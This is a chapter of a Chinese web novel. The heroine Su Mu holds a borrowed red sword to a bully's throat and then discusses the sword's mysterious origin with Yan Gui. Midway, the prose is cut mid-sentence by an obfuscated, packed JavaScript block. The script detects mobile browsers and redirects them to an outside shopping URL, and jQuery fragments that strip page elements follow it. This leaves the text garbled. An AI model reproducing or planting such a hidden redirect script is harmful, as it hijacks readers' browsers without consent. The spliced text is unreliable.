18. 第 18 章 谜团

作品:《女配反杀

    “你要教训我?小屁孩就别捣乱了,赶紧回家洗洗睡吧。”苏慕摆摆手,头也不回地走进清风楼。


    真狂,她是有什么资本这么狂的吗?


    厌归表示,按他目前看来,对方就是嘴上功夫厉害。


    这会青山居门前人来人往,只是碍于这里是青山居的地盘,大多数行人只匆匆瞥上两眼便快步离开。可也有几个胆子大的,远远站着,压低声音窃窃私语,不知在议论些什么。


    田奕死死咬着牙,也不知是那两个大汉忽然松了力道,还是他那一瞬间爆发出的力气足够大,他竟挣脱了那两个大汉的束缚。


    随即恶狠狠地疾步上前喊住了苏慕,大声吼道:“你给我站住!”


    阿财打着手势示意那几个大汉不要上前,按照他家小少爷的脾气,如果让他出了这口恶气,对方指不定就得意洋洋跟着回去,向大少爷炫耀了。


    田奕双手叉着腰,整个人像只战斗的公鸡,气势昂昂,“哼,刚才嘴巴说得不是很溜吗,怎么,这会又当起缩头乌龟了。小爷我看啊,你也就是会耍耍嘴皮子,还不是被本少爷的拳头吓倒。”


    厌归环抱着手臂,一副看好戏的姿态。


    这小疯子待会又会怎么做呢。


    也不能过于疯啊,毕竟她还要装装样子给人看呢。


    真是有趣。


    眼看着对方毫无动静,田奕又火上浇油般,“你转过身跪下给小爷我认个错,小爷我就放你一马。”


    只见苏慕转过身,神情懒散傲慢。


    “被你的拳头吓倒?”苏慕幽幽笑出声,眼神冷漠,像在看一个将死之人,“就你?你自个也不掂量掂量,就你这瘦猴般的身材,怕是连筷子都拿不稳吧。”


    “你过来,本少爷今日便让你看看,什么叫做……”


    田奕瞬间噤声,大气都不敢喘一下,双眼紧紧盯着喉间的那把剑。


    苏慕不知何时抽出了厌归腰间的那把无相,此刻直直地对准田奕的喉咙,分毫之差,只需轻轻动一下,就会有一大股鲜血喷出。


    红色的剑身会与鲜血融为一体,鲜血会溅在她白皙的脸上,浓郁的血腥味扑面而来,紧接着这个讨人厌的玩意便会直直倒下,再无呼吸。


    哦,对了。


    如果是这颗头颅与这身体分离,那应该会更有趣。


    苏慕低低笑了声。


    阿财直接被这一举动吓傻,反应过来后冲着那几个大汉大声吼道:“还不快去保护少爷。”


    几个大汉犹豫着想要上前,却在看清苏慕眼神时脚步一顿。


    苏慕懒懒掀眸,眼底明晃晃的杀意,声线偏冷,好意提醒道:“我这剑可不长眼。”


    厌归嘴角弯起,她这拔剑的姿势倒是熟练,她是换了副芯子吗?


    也罢,她是谁都不重要,重要的是,他更喜欢这幅模样的苏慕。


    跟他是一样的人。


    周围的行人早已不见了踪迹,此刻青山居门前,便只剩他们这几人。


    田奕疯狂吞咽着口水,脸上却还是死撑着不肯服输,“有本事你就杀了本少爷!”


    “哦?瘦猴,你这嘴挺硬啊,只是你这身体,好像有点太诚实了。”苏慕瞥了眼对方那发颤的双腿,忍不住发笑。


    “我…我才没有,本少爷难道会怕你不成!”田奕死死看着苏慕,身体却是一动都不敢动,生怕对方一个手抖顷刻见血。


    苏慕没说话,只是手上的剑往前进了一分,几乎是刚碰上的瞬间,便有鲜血溢出。


    “少爷!”阿财惊呼,眼睛一眨不眨地盯着苏慕手中的剑,生怕下一刻田奕的身体分离。


    感受到丝丝疼痛传来,田奕的脸瞬间一白,整个人直接被僵在原地,再也不敢说一个字。


    没劲。


    苏慕兴致缺缺,将无相从田奕的喉间移开,拿着剑用剑神身在对方脸上轻轻拍了拍,动作轻佻傲慢,“没断奶的小屁孩,回家吧,姐姐没空陪你玩。”


    说完,便转身走到厌归跟前,将无相放回对方腰间的剑鞘里。


    “谢剑。”


    厌归眼神近乎痴迷地看着苏慕这张脸,许久都移不开视线。


    怎么会,怎么会有人比他还疯呢。


    而且,她这幅样子真的好熟悉。


    “走了。”苏慕伸手拉住厌归的手腕,打断了对方的思绪。


    她有点事情需要问厌归。


    而阿财在对方转身的瞬间,便急忙跑上去搀扶住自家少爷,语气止不住的慌张和担心。


    “少爷,你没事吧。”


    田奕愣愣地伸出手往喉间摸去,鲜血沾满了他的指尖,几乎是看到这鲜血的瞬间整个人便晕死过去。


    “少爷!”


    而苏慕早已拉着还在愣神的厌归回房。


    “啪”地一声将房门关上。


    她一转身便看到厌归坐在椅子上低低地笑着,苏慕这才发觉,认识对方以来,她从未见过对方如此真诚的笑。


    厌归平时里也笑,但是苏慕能看出来那笑根本就不达眼底,更像是嘲讽。


    厌归伸手倒了两杯茶水,眼底依旧带着笑,“润润嗓?”


    苏慕没跟他客气,坐下一口闷了这杯茶水。


    开门见山道:“你身上那把剑,叫什么?”


    说起这把剑,厌归脸上的笑意淡了些,平日里,他几乎不用这把剑,脑海里面似乎一直有一道声音告诉他。


    这把剑他要好好保护着。


    厌归没告诉对方这把剑的名字,而是抬眼看向她,平静地说出了一个事实,“你知道吗,你第一次摸上这把剑时,我想杀了你。”


    “哦?”苏慕眉毛一挑,颇为好奇,“那为什么没杀。”


    厌归指腹细细摩挲着茶杯边缘,微微歪着头,脸上带着一丝不解,“看着你拿起它,我总觉得很熟悉。”


    熟悉到,好像这把剑本该是你的。


    而他,只是暂为保管。


    紧接着,厌归又说,“我打听过你的身世,你,苏家小姐,从未离开过梧桐镇。”


    一字一句,厌归直直看进苏慕眼底。


    所以,你到底是谁。


    你到底,和我有什么关系。


    苏慕低声笑了笑,神色未变,“你很聪明,但具体缘由我不能说。现如今,我也正在找寻答案。”


    她明明在现代世界长大,可是很多时候,她觉得这个书中世界更像是她的家。


    “无相,这把剑叫无相。”厌归从腰间拿出无相,递到对方眼前。


    这会儿,苏慕才得以细细观察着这把剑。


    剑身通体为红色,拿在手中几乎没有什么份量,很轻。


    在她的手触摸上无相剑身的片刻,红意闪过,可仅仅是一瞬,便又黯淡下来。


    “看来,你并不是它真正的主人。”厌归淡声开口。


    “这把剑,不是你的吗?”苏慕将眼神从剑上移开。


    “传闻无相亦无形,它可跟随主人的心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328650|198498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意变化性状,所以多年来,从未有人知道无相是什么。”厌归解释道。


    “那你又是如何得知。”苏慕反问。


    “我记忆里,它就叫无相。”


    苏慕将无相放在桌上没再看它,平静道:“看来这是你的剑。”


    厌归将腰间的无生拿出放在桌上,此刻,无生无相这两把剑静静地躺在桌上。


    厌归将视线从两把剑身上移开,抬眸看着苏慕,“每次看着无生,我能感受到它对我的亲近,但这股亲近,我从未在无相身上感受过。”


    无相并不排斥他,同时,也不亲近他。


    所以,他始终认为,这把剑不属于自己。


    或许,它属于苏慕。


    苏慕依旧没看桌上的无相,神情淡淡,“如果这真是我的剑,我迟早会想起它的。”


    只有真正属于她的东西,她才会牢牢握在手中。


    紧接着,苏慕又道:“厌归,我想,我们需要合作。”


    她的身世,厌归的身世,以及她和厌归之间到底有什么关联,这都是一个未解之谜。


    这一切的答案,还需要他们一同去找。


    厌归轻抿一口茶,不紧不慢道:”圣仙门,或许有什么线索。”


    这也是他跟着那两人的缘故。


    苏慕稍作思考,结合之前的种种,他们眼下确实应该牢牢跟进邬暄和林洛梓两人。


    “那我们便继续在他们面前装着。”


    ……


    在和两人分开后,邬暄和林洛梓便一直在青山镇内逛着,一路走来,他们发现青山镇的夜晚过于安静。


    本该是热闹的集市,这会儿却空荡荡的没几个行人,只有零星几个小摊贩还在那摆摊,一眼看去,几乎都是一般岁数的人。


    邬暄走近一个卖冰糖葫芦的小摊贩处,温声道:“老伯,我想向您请问下,这青山镇为何如何冷清?”


    那老伯充耳不闻,看都不看他一眼。


    林洛梓一言难尽地看着自家师兄,走上前拿出些碎银,“老伯伯,给我拿两串糖葫芦。”


    “哎,姑娘您稍等啊。”老伯眯眼笑着,动作麻利地取下两串糖葫芦递给对方。


    余光看到了对手手上那厚厚的茧,衣服也是些粗衣麻布,一些不起眼处有着缝补的痕迹。林洛梓接过后状似无意地问道:“老伯,这不是集市吗,怎的如此冷清。”


    老伯叹了口气,那张满是皱纹的脸上泛着淡淡的愁意,“姑娘是外地人吧,我们这青山镇啊,每晚都是如此。一到申时,这人啊,都去到那青山楼吃饭去了,哪里还会出来逛啊。”


    老伯一脸愁色,这生意啊,真是越来越难做了。


    邬暄和林洛梓对视一眼,紧接着林洛梓又问道:“老伯,这青山镇的家家户户都会去青山楼吃饭吗?”


    “在我们这西边,但凡是有点钱的,几乎是每晚都去。”老伯愁啊,这青山楼啊,几乎是要断了他们这些人的活路啊。


    “多谢了,老伯伯,这银钱你就不用找了。”


    离开那小摊贩后,林洛梓一脸忧心忡忡,“师兄,这饭菜再好吃,也总不不能天天都去吃吧。”


    更何况,这青山楼并不便宜。


    邬暄脸色沉重。


    这青山楼他们刚才也吃过了,虽说这味道确实比一般的酒楼好吃,但每晚都去吃那就有点奇怪了。


    “师妹,我们再去别处看看。”


    看看这青山镇,是不是处处都是如此。